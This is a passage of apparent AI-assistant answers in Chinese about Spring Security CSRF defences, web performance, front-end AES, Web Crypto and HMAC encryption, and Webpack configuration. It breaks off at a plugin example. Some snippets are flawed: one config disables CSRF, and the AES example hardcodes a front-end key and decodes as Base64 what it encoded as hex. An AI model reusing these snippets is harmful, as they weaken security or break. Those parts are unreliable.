import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.authorizeRequests()
.anyRequest().authenticated()
.and()
.formLogin()
.permitAll()
.and()
.sessionManagement()
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
.and()
.csrf().disable(); // 可以配合 SameSite 使用
}
}
在設置 Cookie 時:
// 設置 session cookie 時添加 SameSite 屬性
response.addHeader("Set-Cookie", "JSESSIONID=abc123; SameSite=Strict; Secure; HttpOnly");
SameSite 三種值:
| 值 | 説明 |
|---|---|
Strict |
僅在同站請求中發送 Cookie(最安全) |
Lax |
僅在安全的跨站鏈接中發送(如點擊鏈接) |
None |
允許跨站發送(需配合 Secure) |
✅ 推薦:SameSite=Strict或Lax
✅ 3. Referer 檢查(輔助手段)
檢查 HTTP 請求頭中的 Referer,判斷請求是否來自合法來源。
String referer = request.getHeader("Referer");
if (referer == null || !referer.startsWith("https://bank.com")) {
throw new RuntimeException("Invalid referer");
}
⚠️ 缺點:Referer 可被偽造或省略,不可作為唯一防護。
✅ 4. 雙重提交 Cookie 模式(適用於無 Session 的場景)
- 前端在 Cookie 和請求頭中都攜帶一個 Token。
- 服務器對比兩者是否一致。
// 前端:設置 Cookie 並在請求頭中攜帶
document.cookie = "CSRF_TOKEN=abc123; SameSite=Strict";
fetch("/transfer", {
method: 'POST',
headers: {
'X-CSRF-TOKEN': 'abc123'
},
body: JSON.stringify({to: 'xxx', amount: 100})
});
// 後端校驗
String csrfToken = request.getHeader("X-CSRF-TOKEN");
String cookieToken = getCookieValue(request, "CSRF_TOKEN");
if (!Objects.equals(csrfToken, cookieToken)) {
throw new RuntimeException("CSRF token mismatch");
}
四、總結:最佳防禦實踐
| 防禦措施 | 推薦程度 | 説明 |
|---|---|---|
| CSRF Token | ⭐⭐⭐⭐⭐ | 最有效,必須使用 |
| SameSite Cookie | ⭐⭐⭐⭐☆ | 現代瀏覽器支持,強烈建議 |
| Referer 檢查 | ⭐⭐☆☆☆ | 輔助,不能單獨依賴 |
| 雙重提交 Cookie | ⭐⭐⭐☆☆ | 適用於無 Session 場景 |
✅ 推薦配置(Spring Boot 完整示例)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/main/java/com/paas/plus/web/config/SecurityConfig.java"]
@Configuration
@EnableWebSecurity
public class SecurityConfig {
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
http
.csrf(csrf -> csrf
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.ignoringRequestMatchers("/api/public/**") // 忽略公共接口
)
.authorizeHttpRequests(authz -> authz
.requestMatchers("/transfer").authenticated()
.anyRequest().permitAll()
)
.sessionManagement(session -> session
.sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED)
)
.headers(headers -> headers
.frameOptions().deny() // 防止點擊劫持
);
return http.build();
}
}
📌 此配置使用 Spring Security 內置的 CSRF 保護,自動處理 Token,只需前端配合即可。
結語
CSRF 攻擊雖然隱蔽,但只要合理使用 CSRF Token + SameSite Cookie,即可高效防禦。
所有涉及狀態變更的請求(POST/PUT/DELETE)都必須進行 CSRF 防護。
🛡️ 安全建議:
- 開發時默認開啓 CSRF 保護。
- 定期進行安全掃描和滲透測試。
- 使用安全框架(如 Spring Security、OWASP CSRFGuard)降低風險。
web常用的性能優化方案有哪些
Web性能優化是提升用户體驗、降低跳出率、提高轉化率的關鍵。以下是Web常用的性能優化方案,按不同層級分類整理,便於實際落地:
🔹 一、前端性能優化(Client-side)
1. 資源加載優化
- 壓縮資源:
- 使用Webpack、Vite等構建工具壓縮 JS/CSS/HTML。
- 啓用 Gzip 或 Brotli 壓縮(服務器層面)。 - 代碼分割(Code Splitting):
- 按路由、組件或動態導入進行懶加載(import())。
- 減少首屏加載體積。 - Tree Shaking:
- 移除未使用的代碼(ES6 模塊支持)。 - 圖片優化:
- 使用 WebP、AVIF 等現代格式。
- 響應式圖片(srcset、sizes)。
- 懶加載(loading="lazy")。
- 圖片 CDN + 自動壓縮。 - 字體優化:
- 使用font-display: swap避免 FOIT(無樣式文字閃爍)。
- 字體子集化(只加載需要的字符)。
2. 減少阻塞渲染
- 避免大體積 JS/CSS 阻塞渲染:
- 將非關鍵 JS 標記為defer或async。
- 關鍵 CSS 內聯(Critical CSS),非關鍵 CSS 異步加載。 - 使用
preload/prefetch:
- 提前加載關鍵資源(如字體、首屏圖片)。
- 預加載後續頁面資源。
3. 緩存策略
- 瀏覽器緩存:
- 設置Cache-Control、ETag、Last-Modified。
- 靜態資源使用Cache-Control: public, max-age=31536000(一年)。 - Service Worker + PWA:
- 實現離線緩存、增量更新。
- 提升二次訪問速度。
4. 減少重繪與迴流
- 合理使用 CSS 屬性(如避免頻繁操作
offsetHeight)。 - 使用
transform和opacity實現動畫(不觸發重排)。 - 批量操作 DOM,使用
DocumentFragment。
5. 首屏優化(Critical Rendering Path)
- 最小化首屏 HTML 結構。
- 內聯關鍵 CSS 和 JS。
- 預加載首屏資源。
🔹 二、網絡與服務器優化
1. CDN 加速
- 將靜態資源(JS、CSS、圖片、字體)部署到 CDN。
- 選擇就近節點分發,降低延遲。
2. HTTP/2 或 HTTP/3
- 支持多路複用,減少連接開銷。
- 二進制傳輸,提升效率。
3. 減少請求數量
- 合併小文件(如 CSS/JS 合併)。
- 使用雪碧圖(Sprite)減少圖片請求數。
- 使用
iconfont替代圖片圖標。
4. 服務器端優化
- 啓用 Gzip/Brotli 壓縮。
- 使用反向代理(如 Nginx)緩存靜態資源。
- 數據庫查詢優化 + 緩存(Redis/Memcached)。
- 接口響應時間優化(避免 N+1 查詢)。
🔹 三、構建與部署優化
1. 構建工具優化
- 使用
Vite替代Webpack(啓動更快,熱更新更優)。 - 配置按需加載、代碼分包。
- 使用
webpack-bundle-analyzer分析包體積。
2. 自動化部署與 CI/CD
- 自動化構建 + 壓縮 + 上傳 CDN。
- 版本控制 + 灰度發佈。
🔹 四、監控與分析
1. 性能監控工具
- 使用
Lighthouse、Web Vitals(FCP、LCP、CLS、INP)評估頁面質量。 - 接入
Sentry、LogRocket、New Relic監控前端錯誤與性能。 - 使用
Google Analytics+Custom Metrics跟蹤用户行為。
2. 真實用户監控(RUM)
- 收集真實用户環境下的性能數據(如加載時間、交互延遲)。
✅ 實踐建議(最佳實踐)
| 優化項 | 推薦方案 |
|---|---|
| 首屏加載 | 內聯關鍵 CSS,異步加載非關鍵 JS |
| 圖片加載 | WebP + loading="lazy" + CDN |
| 資源體積 | Tree Shaking + Gzip/Brotli + 懶加載 |
| 緩存策略 | 靜態資源長緩存,動態資源短緩存 |
| 用户體驗 | 使用 Intersection Observer 實現懶加載 |
📌 附加:常見性能指標(Google Web Vitals)
| 指標 | 好 | 警告 | 差 |
|---|---|---|---|
| LCP(最大內容繪製) | <2.5s | 2.5–4.0s | >4.0s |
| FID(首次輸入延遲) | <100ms | 100–300ms | >300ms |
| CLS(累計佈局偏移) | <0.1 | 0.1–0.25 | >0.25 |
| INP(交互至響應) | <200ms | 200–500ms | >500ms |
⚠️ 建議在項目中集成 web-vitals 庫,上報關鍵指標。
web端如何實現數據加密
在 Web 端實現數據加密,需要根據具體場景選擇合適的加密方式。以下是常見的加密場景和對應的實現方案,涵蓋前端數據加密、傳輸加密、存儲加密等關鍵環節。
✅ 一、Web 端數據加密的核心目標
| 目標 | 説明 |
|---|---|
| 保護敏感信息(如密碼、身份證號、手機號) | 防止瀏覽器中明文暴露 |
| 安全傳輸數據 | 防止中間人攻擊 |
| 防止前端篡改數據 | 保證數據完整性 |
| 與後端協同解密 | 加密數據需能被後端正確解密 |
✅ 二、常見加密方案及實現方式
1. 傳輸層加密:HTTPS(必須使用)
✅ 所有 Web 應用都應強制使用 HTTPS。
- 作用:防止數據在傳輸過程中被竊聽或篡改。
- 實現:
- 服務器配置 SSL/TLS 證書。
- 前端所有請求使用https://協議。
- 可啓用 HSTS(HTTP Strict Transport Security)。
🔒 這是最基礎、最重要的安全措施,不可省略。
2. 前端數據加密:使用對稱加密(如 AES)
✅ 適用於:用户輸入的敏感數據(如密碼、身份證號)在發送前加密。
✅ 推薦算法:AES-256-CBC / AES-GCM
注意:前端不能硬編碼密鑰,否則密鑰會暴露。
✅ 實現方案:前端加密 + 後端解密
✅ 示例:使用 crypto-js 實現 AES 加密(前端)
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/utils/encrypt.js"]
import CryptoJS from 'crypto-js';
// 生成密鑰(建議從後端動態獲取,或使用密鑰派生函數 KDF)
const SECRET_KEY = 'your-32-byte-secret-key-here'; // 32 字節 = 256 位
/**
* AES 加密(CBC 模式)
* @param {string} text - 明文
* @returns {string} - 加密後的 Base64 字符串
*/
export function encryptAES(text) {
const iv = CryptoJS.lib.WordArray.random(16); // 16 字節 IV
const encrypted = CryptoJS.AES.encrypt(text, CryptoJS.enc.Utf8.parse(SECRET_KEY), {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return iv.toString() + ':' + encrypted.ciphertext.toString(); // IV + 密文
}
/**
* AES 解密(用於後端)
* @param {string} encryptedData - 加密數據(格式:iv:encrypted)
* @returns {string} - 明文
*/
export function decryptAES(encryptedData) {
const parts = encryptedData.split(':');
const iv = CryptoJS.enc.Hex.parse(parts[0]);
const ciphertext = CryptoJS.enc.Base64.parse(parts[1]);
const decrypted = CryptoJS.AES.decrypt({ ciphertext }, CryptoJS.enc.Utf8.parse(SECRET_KEY), {
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
});
return decrypted.toString(CryptoJS.enc.Utf8);
}
✅ 使用示例:
// 在表單提交前加密
const password = "123456";
const encrypted = encryptAES(password);
console.log(encrypted); // 輸出: "a1b2c3...:d4e5f6..."
// 發送到後端
fetch('/api/user/register', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ encryptedPassword: encrypted })
});
⚠️ 重要提醒:
- 密鑰
SECRET_KEY不能硬編碼在前端!- 正確做法:由後端動態下發密鑰(如通過 /api/get-aes-key 接口),或使用密鑰派生(如 PBKDF2 + salt)。
- 可結合
Web Crypto API(更安全,但兼容性稍差)。
3. 使用 Web Crypto API(現代瀏覽器推薦)
✅ 更安全,支持硬件級加密,避免引入第三方庫。
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/utils/web-crypto.js"]
export async function encryptWithWebCrypto(text, key) {
const encoder = new TextEncoder();
const data = encoder.encode(text);
const iv = crypto.getRandomValues(new Uint8Array(12)); // GCM 推薦 12 字節 IV
const encrypted = await crypto.subtle.encrypt(
{
name: "AES-GCM",
iv: iv
},
key,
data
);
// 返回 Base64 編碼的 IV + 密文
const result = new Uint8Array(iv.length + encrypted.byteLength);
result.set(iv, 0);
result.set(new Uint8Array(encrypted), iv.length);
return btoa(String.fromCharCode(...result));
}
export async function decryptWithWebCrypto(encryptedBase64, key) {
const encrypted = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const iv = encrypted.slice(0, 12);
const ciphertext = encrypted.slice(12);
const decrypted = await crypto.subtle.decrypt(
{
name: "AES-GCM",
iv: iv
},
key,
ciphertext
);
const decoder = new TextDecoder();
return decoder.decode(decrypted);
}
✅ 優點:不依賴第三方庫,更安全。
❌ 缺點:需使用async/await,兼容性略差(IE 不支持)。
4. 數據簽名(防篡改):使用 HMAC-SHA256
✅ 用於:防止前端篡改請求參數。
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/src/utils/hmac.js"]
import CryptoJS from 'crypto-js';
export function signData(data, secretKey) {
return CryptoJS.HmacSHA256(data, secretKey).toString();
}
// 使用示例
const payload = JSON.stringify({ name: "張三", age: 25 });
const signature = signData(payload, "your-secret-hmac-key");
fetch('/api/data', {
method: 'POST',
body: JSON.stringify({ payload, signature })
});
後端校驗簽名,若不一致則拒絕請求。
✅ 三、最佳實踐總結
| 場景 | 推薦方案 |
|---|---|
| 所有傳輸 | ✅ 強制 HTTPS |
| 敏感數據加密 | ✅ AES-256-GCM(前端加密,後端解密) |
| 密鑰管理 | ✅ 後端動態下發密鑰,或使用 PBKDF2 |
| 防篡改 | ✅ HMAC-SHA256 簽名 |
| 安全性優先 | ✅ 使用 Web Crypto API(現代瀏覽器) |
| 兼容性優先 | ✅ 使用 crypto-js(配合動態密鑰) |
✅ 四、注意事項
- 不要在前端硬編碼密鑰!
- 加密 ≠ 安全,必須配合 HTTPS 和後端驗證。
- 避免使用弱算法(如 DES、MD5、SHA1)。
- 密鑰輪換:定期更新加密密鑰。
- 日誌中不要記錄加密前的明文數據。
✅ 五、推薦項目結構
src/
├── utils/
│ ├── encrypt.js # AES 加密工具
│ ├── web-crypto.js # Web Crypto API 工具
│ └── hmac.js # 簽名工具
├── api/
│ └── authService.js # 調用加密接口
└── App.vue
項目中使用過哪些技術優化手段
在 Web 前端項目中,為了提升性能、可維護性、開發效率和用户體驗,通常會採用一系列技術優化手段。以下是常見的優化策略和技術實踐,涵蓋性能優化、代碼質量、構建優化、用户體驗等多個維度:
一、性能優化
1. 資源加載優化
- 代碼分割(Code Splitting)
使用 Webpack、Vite 等打包工具按路由或組件拆分代碼,實現懶加載(Lazy Loading)。
`js
// 示例:React 路由懶加載
const Home = React.lazy(() => import('./pages/Home'));
` - 資源壓縮與混淆
- JavaScript: 使用 Terser 壓縮
- CSS: 使用 cssnano
- HTML: 使用 html-minifier - 圖片優化
- 使用 WebP 格式替代 JPG/PNG
- 使用srcset實現響應式圖片
- 懶加載圖片:loading="lazy"
`html
<img src="image.jpg" loading="lazy" alt="描述">
`
2. CDN 加速
- 將靜態資源(JS、CSS、圖片)部署到 CDN,提升全球訪問速度。
- 使用
webpack或Vite配置輸出路徑為 CDN 地址。
3. 瀏覽器緩存策略
- 設置合理的 HTTP 緩存頭(
Cache-Control,ETag) - 對不變資源使用長期緩存(如
Cache-Control: max-age=31536000) - 使用哈希命名(如
bundle.[hash].js)實現緩存失效
4. 首屏加載優化(Critical Rendering Path)
- 提取關鍵渲染路徑資源(Critical CSS),內聯注入到
<head> - 使用
preload/prefetch提前加載關鍵資源
`html
<link rel="preload" href="critical.css" as="style">
<link rel="prefetch" href="lazy-module.js">
`
二、構建與工程化優化
1. 使用現代構建工具
- Vite:基於原生 ES Modules,開發啓動快,熱更新快
- Webpack 5:支持模塊聯邦(Module Federation)、持久化緩存、並行處理
2. Tree Shaking(搖樹優化)
- 僅打包實際使用的代碼,移除未引用的函數/模塊
- 依賴 ES6 模塊語法(
import/export)
3. 按需引入(Tree Shaking + 懶加載)
- 第三方庫如
lodash、Ant Design等支持按需引入
`js
import { debounce } from 'lodash-es';
import { Button } from 'antd';
`
4. 動態導入與模塊聯邦
- 微前端架構中使用模塊聯邦(Module Federation)共享組件
`js
// webpack.config.js
new ModuleFederationPlugin({
name: 'app1',
remotes: { app2: 'app2@http://localhost:3002/remoteEntry.js' }
})
`
三、代碼質量與可維護性優化
1. 使用 TypeScript
- 類型檢查,減少運行時錯誤
- 提升 IDE 智能提示與重構能力
2. ESLint + Prettier
- 統一代碼風格,避免格式問題
- 集成 CI/CD 自動檢查
3. 組件化與設計系統
- 抽象通用組件(按鈕、表單、彈窗等)
- 建立 Design System(如基於 Figma + Storybook)
4. 狀態管理優化
- React:使用 Zustand(輕量)、Redux Toolkit(複雜狀態)
- Vue:Pinia(推薦,比 Vuex 更簡潔)
四、用户體驗優化
1. SSR / SSG(服務端渲染 / 靜態站點生成)
- 使用 Next.js(React)、Nuxt.js(Vue)實現 SSR/SSG
- 提升首屏速度、SEO 友好
2. Hydration 優化(React)
- 使用
React.lazy+Suspense控制渲染時機 - 避免在首屏渲染中加載非關鍵組件
3. Loading 狀態與骨架屏
- 使用骨架屏(Skeleton Screen)提升感知加載速度
- 顯示加載動畫或進度條
4. 錯誤監控與日誌上報
- 使用 Sentry、Bugsnag 上報前端異常
- 自定義錯誤邊界(Error Boundary)捕獲異常
五、安全與兼容性優化
1. XSS / CSRF 防護
- 對用户輸入進行 sanitization(如使用 DOMPurify)
- 使用 CSP(Content Security Policy)策略
2. 兼容性處理
- 使用 Babel 轉譯 ES6+ 語法
- 使用 PostCSS + Autoprefixer 自動添加瀏覽器前綴
六、監控與分析
- 性能監控:Lighthouse、Web Vitals(FCP、LCP、CLS)
- 埋點分析:集成 Google Analytics、神策、友盟
- APM:使用 Sentry、Datadog 監控前端性能與錯誤
總結:常用技術棧組合示例
| 類別 | 技術 |
|---|---|
| 框架 | React / Vue 3 |
| 構建工具 | Vite / Webpack 5 |
| 狀態管理 | Zustand / Pinia |
| 類型系統 | TypeScript |
| UI 庫 | Ant Design / Element Plus |
| 代碼規範 | ESLint + Prettier |
| SSR | Next.js / Nuxt.js |
| 懶加載 | React.lazy + Suspense |
| 圖片優化 | WebP + lazy loading |
| 緩存 | CDN + Hash + Cache-Control |
| 監控 | Sentry + Lighthouse |
Webpack 打包流程介紹
Webpack 是一個現代化的前端資源打包工具,能夠將項目中的各種資源(如 JavaScript、CSS、圖片、字體等)按依賴關係進行模塊化打包,輸出為瀏覽器可運行的靜態資源。以下是 Webpack 打包流程的詳細介紹,包括核心流程、關鍵概念和執行步驟。
🌟 一、Webpack 打包流程概覽
1. 初始化配置
2. 解析入口(Entry)
3. 構建模塊依賴圖(Dependency Graph)
4. 加載與編譯模塊(Loaders)
5. 處理模塊(Plugins)
6. 生成輸出文件(Output)
7. 完成打包
🔍 二、詳細流程説明
1. 初始化配置(Initialization)
- Webpack 讀取
webpack.config.js配置文件。 - 配置內容包括:
-entry:入口文件路徑
-output:輸出路徑和文件名
-module.rules:模塊加載規則(Loaders)
-plugins:插件配置
-resolve:模塊解析規則
-mode:開發模式(development)或生產模式(production)
示例配置:
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/webpack.config.js"]
const path = require('path');
module.exports = {
entry: './src/index.js',
output: {
path: path.resolve(__dirname, 'dist'),
filename: 'bundle.js',
},
module: {
rules: [
{
test: /\.js$/,
use: 'babel-loader',
},
{
test: /\.css$/,
use: ['style-loader', 'css-loader'],
},
],
},
plugins: [
new HtmlWebpackPlugin({ template: './src/index.html' }),
],
mode: 'development',
};
2. 解析入口(Entry Resolution)
- 從
entry配置項開始,Webpack 找到第一個入口文件(如index.js)。 - 該文件會作為構建依賴圖的起點。
3. 構建模塊依賴圖(Dependency Graph)
- Webpack 遞歸分析入口文件中所有
import/require的依賴。 - 生成一個 模塊依賴圖(Dependency Graph),記錄每個模塊的依賴關係。
例如:
// src/index.js
import { greet } from './utils.js';
console.log(greet('World'));
// src/utils.js
export const greet = (name) => `Hello, ${name}!`;
Webpack 會構建出:
index.js → utils.js
4. 加載與編譯模塊(Loaders)
- 對於非 JavaScript 文件(如
.css,.ts,.vue,.svg),使用 Loader 進行轉換。 - Loader 是鏈式處理函數,按順序執行。
常見 Loader 示例:
| 文件類型 | Loader |
|---|---|
.css |
css-loader, style-loader |
.scss |
sass-loader, css-loader, style-loader |
.ts |
ts-loader 或 babel-loader |
.jpg/png |
file-loader 或 url-loader |
示例:處理 CSS 文件
{
test: /\.css$/,
use: ['style-loader', 'css-loader']
}
css-loader:解析 CSS 並轉換為 JS 模塊style-loader:將 CSS 注入到 DOM 中(<style>標籤)
5. 處理模塊(Plugins)
- Plugins 用於在打包的 生命週期 中執行更復雜的操作。
- 與 Loader 不同,Plugins 可以:
- 優化打包結果(Tree Shaking、Code Splitting)
- 生成 HTML 文件
- 壓縮代碼
- 生成 Source Map
常見 Plugins:
| Plugin | 功能 |
|---|---|
HtmlWebpackPlugin |
自動生成 index.html 並注入打包後的 JS |
CleanWebpackPlugin |
打包前清理 dist 目錄 |
MiniCssExtractPlugin |
將 CSS 提取為獨立文件 |
TerserPlugin |
壓縮 JS 代碼(生產環境) |
SplitChunksPlugin |
實現代碼分割(Code Splitting) |
示例:使用 HtmlWebpackPlugin
const HtmlWebpackPlugin = require('html-webpack-plugin');
plugins: [
new HtmlWebpackPlugin({
template: './src/index.html'
})
]
6. 生成輸出文件(Output)
- Webpack 根據
output配置,將最終的模塊代碼組合成一個或多個輸出文件。 - 輸出路徑通常為
dist/目錄。 - 支持輸出多個文件(如
main.js,vendor.js,chunk-xxx.js)。
輸出結構示例:
dist/
├── bundle.js # 主包
├── index.html # 自動生成
└── assets/
└── image.png # 圖片資源
7. 完成打包
- 打包完成後,Webpack 輸出構建信息(如文件大小、耗時、警告/錯誤)。
- 若使用
webpack-dev-server,還會啓動本地開發服務器,支持熱更新(HMR)。
🧩 三、核心概念總結
| 概念 | 説明 |
|---|---|
| Entry | 打包的起點文件 |
| Output | 打包後輸出的文件位置和命名 |
| Loader | 用於轉換非 JS 文件(如 CSS、圖片) |
| Plugin | 擴展 Webpack 功能(如生成 HTML、壓縮代碼) |
| Chunk | 一個輸出的代碼塊,可由入口或代碼分割生成 |
| Module | 一個獨立的代碼單元(JS、CSS、圖片等) |
| Tree Shaking | 移除未使用的代碼(需 ES Module) |
| Code Splitting | 將代碼拆分為多個 chunks,按需加載 |
🚀 四、常見命令
# 開發模式啓動
npx webpack --mode development
# 生產模式打包
npx webpack --mode production
# 使用配置文件
npx webpack --config webpack.config.js
# 啓動開發服務器(帶熱更新)
npx webpack serve --mode development
✅ 五、最佳實踐建議
- 使用
mode: 'development'/'production'自動啓用優化。 - 合理使用
splitChunks實現代碼分割,提升加載性能。 - 啓用
optimization.runtimeChunk避免重複引入 runtime 代碼。 - 使用
source-map方便調試(開發階段)。 - 配置
cache提升構建速度(支持fs或memory緩存)。
// webpack.config.js
module.exports = {
// ...
cache: {
type: 'filesystem', // 或 'memory'
},
optimization: {
splitChunks: {
chunks: 'all',
},
},
};
📚 六、參考文檔
- 官方文檔:https://webpack.js.org
- 中文文檔:https://webpack.docschina.org
Loader 和plugin 區別
在軟件開發,尤其是構建工具(如 Webpack、Vite、Rollup 等)和插件化架構中,Loader 和 Plugin 是兩個核心概念,它們雖然都用於增強構建流程,但職責和使用場景有明顯區別。
✅ 一、Loader(加載器)
📌 定義:
Loader 是文件轉換器,用於對源文件進行預處理,將非 JavaScript 文件(如 .css, .less, .ts, .vue 等)轉換為 JavaScript 模塊。
🎯 作用:
- 把非 JS 文件“翻譯”成 JS 模塊,供 Webpack 等工具處理。
- 通常作用於單個文件的轉換。
🔧 示例:
// webpack.config.js
module.exports = {
module: {
rules: [
{
test: /\.css$/,
use: ['style-loader', 'css-loader'] // css-loader 讀取 .css 文件並轉為 JS
},
{
test: /\.ts$/,
use: 'ts-loader'
}
]
}
};
✅ 常見 Loader:
css-loader:解析 CSS 文件sass-loader:編譯 SCSS/Sassbabel-loader:轉譯 ES6+ 語法vue-loader:處理.vue單文件組件
📌 特點總結:
| 特性 | Loader |
|---|---|
| 處理對象 | 單個文件 |
| 執行時機 | 文件被引入時(模塊加載階段) |
| 職責 | 文件內容轉換(如編譯、解析) |
| 返回值 | 轉換後的 JS 代碼 |
✅ 二、Plugin(插件)
📌 定義:
Plugin 是構建過程的擴展機制,用於在構建的生命週期中執行自定義邏輯,比如打包優化、資源生成、HTML 生成、環境注入等。
🎯 作用:
- 在構建流程的特定階段(如編譯開始、生成 bundle、輸出前)執行自定義操作。
- 可以操作整個打包過程的多個模塊、依賴、輸出文件等。
🔧 示例:
// webpack.config.js
const HtmlWebpackPlugin = require('html-webpack-plugin');
module.exports = {
plugins: [
new HtmlWebpackPlugin({
template: './src/index.html'
})
]
};
✅ 常見 Plugin:
HtmlWebpackPlugin:自動生成 HTML 並注入 bundleCleanWebpackPlugin:清理輸出目錄DefinePlugin:定義全局常量(如process.env.NODE_ENV)MiniCssExtractPlugin:將 CSS 提取為獨立文件CopyWebpackPlugin:複製文件到輸出目錄
📌 特點總結:
| 特性 | Plugin |
|---|---|
| 處理對象 | 構建流程(整個打包過程) |
| 執行時機 | 構建生命週期中的鈎子(如 compilation, emit) |
| 職責 | 擴展構建行為(如生成文件、優化輸出) |
| 可訪問 | 整個編譯器(compiler)、編譯過程(compilation) |
✅ 三、核心區別對比
| 對比項 | Loader | Plugin |
|---|---|---|
| 作用對象 | 單個文件 | 整個構建流程 |
| 執行時機 | 模塊加載時(文件被引入時) | 構建生命週期的鈎子階段 |
| 主要職責 | 文件轉換(如編譯、解析) | 擴展構建行為(如生成 HTML、優化打包) |
| 返回值 | 轉換後的 JS 代碼 | 無返回值(執行副作用) |
| 是否可操作編譯器 | 否 | 是(可訪問 compiler, compilation) |
| 典型使用場景 | 處理 .ts, .css, .vue |
生成 HTML、清理輸出、注入環境變量 |
🧠 類比理解(比喻)
想象你正在做一頓飯:
- Loader 就像是“食材處理工”:把生菜洗好、把牛肉切塊、把雞蛋打散 —— 每一份食材單獨處理。
- Plugin 就像是“廚師長”:他不處理單個食材,但他控制整個烹飪流程:什麼時候開火、什麼時候出鍋、什麼時候上菜、要不要加調料。
✅ 總結
| 項目 | Loader | Plugin |
|---|---|---|
| 文件轉換 | ✅ 是 | ❌ 否 |
| 構建流程擴展 | ❌ 否 | ✅ 是 |
| 針對單文件 | ✅ 是 | ❌ 否 |
| 可訪問編譯器 | ❌ 否 | ✅ 是 |
| 代表工具 | babel-loader, css-loader |
HtmlWebpackPlugin, DefinePlugin |
✅ 實際建議
- 如果你要轉換某種文件格式 → 用 Loader
- 如果你要控制構建流程、生成文件、優化打包 → 用 Plugin
如何實現多頁面打包
在前端項目中實現“多頁面打包”(Multi-Page Application, MPA)通常是指:一個項目中包含多個獨立的頁面,每個頁面有自己獨立的入口文件(如 index.html 和 main.js),構建時生成多個獨立的 HTML 和 JS 文件,而不是隻生成一個單頁應用(SPA)。
以下以 Vue CLI 和 Webpack 為例,説明如何實現多頁面打包。假設你的項目是基於 Vue 或基於 Webpack 的。
✅ 一、使用 Vue CLI 實現多頁面打包
1. 創建多個頁面目錄
src/
├── pages/
│ ├── home/
│ │ ├── index.html
│ │ └── main.js
│ ├── about/
│ │ ├── index.html
│ │ └── main.js
│ └── contact/
│ ├── index.html
│ └── main.js
2. 修改 vue.config.js
// vue.config.js
const path = require('path');
module.exports = {
pages: {
home: {
entry: 'src/pages/home/main.js',
template: 'src/pages/home/index.html',
filename: 'home.html',
title: '首頁'
},
about: {
entry: 'src/pages/about/main.js',
template: 'src/pages/about/index.html',
filename: 'about.html',
title: '關於'
},
contact: {
entry: 'src/pages/contact/main.js',
template: 'src/pages/contact/index.html',
filename: 'contact.html',
title: '聯繫'
}
}
};
✅ 這樣構建時會生成:
dist/home.html+home.jsdist/about.html+about.jsdist/contact.html+contact.js
3. 執行構建
npm run build
輸出結果在 dist/ 目錄下,每個頁面獨立部署。
✅ 二、使用 Webpack 實現多頁面打包(通用方案)
如果你使用的是原生 Webpack,可以這樣配置。
1. 定義多入口
// webpack.config.js
const path = require('path');
const HtmlWebpackPlugin = require('html-webpack-plugin');
const pages = [
{ name: 'home', entry: './src/pages/home/main.js', title: '首頁' },
{ name: 'about', entry: './src/pages/about/main.js', title: '關於' },
{ name: 'contact', entry: './src/pages/contact/main.js', title: '聯繫' }
];
module.exports = {
mode: 'development',
entry: Object.fromEntries(
pages.map(page => [page.name, page.entry])
),
output: {
path: path.resolve(__dirname, 'dist'),
filename: '[name].js'
},
plugins: pages.map(page =>
new HtmlWebpackPlugin({
filename: `${page.name}.html`,
template: `src/pages/${page.name}/index.html`,
chunks: [page.name],
title: page.title
})
),
module: {
rules: [
{
test: /\.js$/,
use: 'babel-loader'
},
{
test: /\.html$/,
use: 'html-loader'
}
]
}
};
✅ 構建後生成:
dist/home.htmldist/about.htmldist/contact.htmldist/home.jsdist/about.jsdist/contact.js
✅ 三、推薦結構(多頁面項目規範)
project-root/
├── src/
│ ├── pages/
│ │ ├── home/
│ │ │ ├── main.js
│ │ │ └── index.html
│ │ ├── about/
│ │ │ ├── main.js
│ │ │ └── index.html
│ │ └── contact/
│ │ ├── main.js
│ │ └── index.html
│ └── components/
│ └── Header.vue
├── public/
│ └── favicon.ico
├── vue.config.js (或 webpack.config.js)
└── package.json
✅ 四、注意事項
| 項目 | 説明 |
|---|---|
| 獨立 HTML 文件 | 每個頁面有自己的 index.html,用於注入對應的 JS |
| 路由處理 | 多頁面之間無 SPA 路由,需通過 URL 跳轉(如 /home.html) |
| 公共代碼抽取 | 可用 optimization.splitChunks 提取公共依賴(如 vue, lodash) |
| 靜態資源路徑 | 所有靜態資源使用相對路徑(./assets/logo.png) |
✅ 五、路徑建議(根據當前環境)
根據你當前環境信息:
Current Working Directory: /Users/hejuan903/Documents/BackUp/program/paas-plus-web
建議將配置文件放在項目根目錄,如:
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/vue.config.js"]
如果你用的是 Webpack,配置文件路徑為:
// [path="/Users/hejuan903/Documents/BackUp/program/paas-plus-web/webpack.config.js"]
✅ 總結
| 方案 | 適用場景 | 推薦程度 |
|---|---|---|
Vue CLI + pages 配置 |
Vue 項目,快速搭建多頁應用 | ⭐⭐⭐⭐⭐ |
Webpack + entry + HtmlWebpackPlugin |
任意項目,高度自定義 | ⭐⭐⭐⭐ |
Vite + 多 index.html |
新項目,性能要求高 | ⭐⭐⭐⭐ |
如何寫一個webpack 插件
編寫一個 Webpack 插件是一個非常實用的技能,尤其在需要自定義構建流程、處理資源、注入代碼或分析打包結果時。下面我將帶你一步步實現一個基礎但完整的 Webpack 插件。
✅ 一、Webpack 插件的基本結構
Webpack 插件是通過實現一個 apply 方法的類或函數來定義的。該方法接收一個 compiler 對象作為參數,你可以在 compiler 的生命週期鈎子中注入自定義邏輯。
✅ 二、示例:一個簡單的 Webpack 插件 —— HelloPlugin
